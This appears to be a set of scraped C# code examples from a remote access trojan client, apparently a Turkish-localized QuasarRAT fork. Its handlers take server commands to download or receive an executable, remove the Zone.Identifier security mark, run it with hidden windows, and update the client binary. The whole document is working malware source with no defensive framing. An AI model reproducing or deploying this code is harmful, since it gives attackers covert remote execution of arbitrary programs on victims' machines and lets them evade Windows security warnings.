Example #1
0
        public static void HandleDoDownloadAndExecute(Paketler.ServerPaketleri.DoDownloadAndExecute command,
                                                      Client client)
        {
            new Paketler.ClientPaketleri.SetStatus("Dosya İndiriliyor...").Execute(client);

            new Thread(() =>
            {
                string tempFile = DosyaYardımcısı.TempDosyaDizininiAl(".exe");

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.URL, tempFile);
                    }
                }
                catch
                {
                    new Paketler.ClientPaketleri.SetStatus("İndirme Başarısız").Execute(client);
                    return;
                }

                new Paketler.ClientPaketleri.SetStatus("Dosya İndirildi!").Execute(client);

                try
                {
                    DosyaYardımcısı.DeleteZoneIdentifier(tempFile);

                    var bytes = File.ReadAllBytes(tempFile);
                    if (!DosyaYardımcısı.ExeValidmiKardeş(bytes))
                    {
                        throw new Exception("herhangi bir pe dosyası bulunamadı.");
                    }

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle    = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = false;
                    startInfo.FileName        = tempFile;
                    Process.Start(startInfo);
                }
                catch
                {
                    NativeMethods.DeleteFile(tempFile);
                    new Paketler.ClientPaketleri.SetStatus("Yürütme Başarısız!").Execute(client);
                    return;
                }

                new Paketler.ClientPaketleri.SetStatus("Dosya Yürütüldü!").Execute(client);
            }).Start();
        }
Example #2
0
        public static void HandleDoUploadAndExecute(Paketler.ServerPaketleri.DoUploadAndExecute command, Client client)
        {
            if (!_renamedFiles.ContainsKey(command.ID))
            {
                _renamedFiles.Add(command.ID, DosyaYardımcısı.TempDosyaDizininiAl(Path.GetExtension(command.FileName)));
            }

            string filePath = _renamedFiles[command.ID];

            try
            {
                if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !DosyaYardımcısı.ExeValidmiKardeş(command.Block))
                {
                    throw new Exception("Exe dosyası bulunamadı.");
                }

                FileSplit destFile = new FileSplit(filePath);

                if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                {
                    throw new Exception(destFile.LastError);
                }

                if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
                {
                    if (_renamedFiles.ContainsKey(command.ID))
                    {
                        _renamedFiles.Remove(command.ID);
                    }

                    DosyaYardımcısı.DeleteZoneIdentifier(filePath);

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle    = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = false;
                    startInfo.FileName        = filePath;
                    Process.Start(startInfo);

                    new Paketler.ClientPaketleri.SetStatus("Dosya Yürütüldü!").Execute(client);
                }
            }
            catch (Exception ex)
            {
                if (_renamedFiles.ContainsKey(command.ID))
                {
                    _renamedFiles.Remove(command.ID);
                }
                NativeMethods.DeleteFile(filePath);
                new Paketler.ClientPaketleri.SetStatus(string.Format("Yürütme Başarısız: {0}", ex.Message)).Execute(client);
            }
        }
        public static void HandleDoClientUpdate(DoClientUpdate command, Client client)
        {
            // YARRAK GİBİ UPDATE CODE İNC.
            if (string.IsNullOrEmpty(command.DownloadURL))
            {
                if (!_renamedFiles.ContainsKey(command.ID))
                {
                    _renamedFiles.Add(command.ID, DosyaYardımcısı.TempDosyaDizininiAl(".exe"));
                }

                string filePath = _renamedFiles[command.ID];

                try
                {
                    if (command.CurrentBlock == 0 && !DosyaYardımcısı.ExeValidmiKardeş(command.Block))
                    {
                        throw new Exception("EXE Bulunamadı.");
                    }

                    FileSplit destFile = new FileSplit(filePath);

                    if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                    {
                        throw new Exception(destFile.LastError);
                    }

                    if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload Bitimi
                    {
                        if (_renamedFiles.ContainsKey(command.ID))
                        {
                            _renamedFiles.Remove(command.ID);
                        }
                        new SetStatus("Yükleniyor...").Execute(client);
                        ClientGüncelleyici.Update(client, filePath);
                    }
                }
                catch (Exception ex)
                {
                    if (_renamedFiles.ContainsKey(command.ID))
                    {
                        _renamedFiles.Remove(command.ID);
                    }
                    NativeMethods.DeleteFile(filePath);
                    new SetStatus(string.Format("Yükleme Başarısız: {0}", ex.Message)).Execute(client);
                }

                return;
            }

            new Thread(() =>
            {
                new SetStatus("Dosya İndiriliyor...").Execute(client);

                string tempFile = DosyaYardımcısı.TempDosyaDizininiAl(".exe");

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.DownloadURL, tempFile);
                    }
                }
                catch
                {
                    new SetStatus("İndirme Başarısız").Execute(client);
                    return;
                }

                new SetStatus("Yükleniyor...").Execute(client);

                ClientGüncelleyici.Update(client, tempFile);
            }).Start();
        }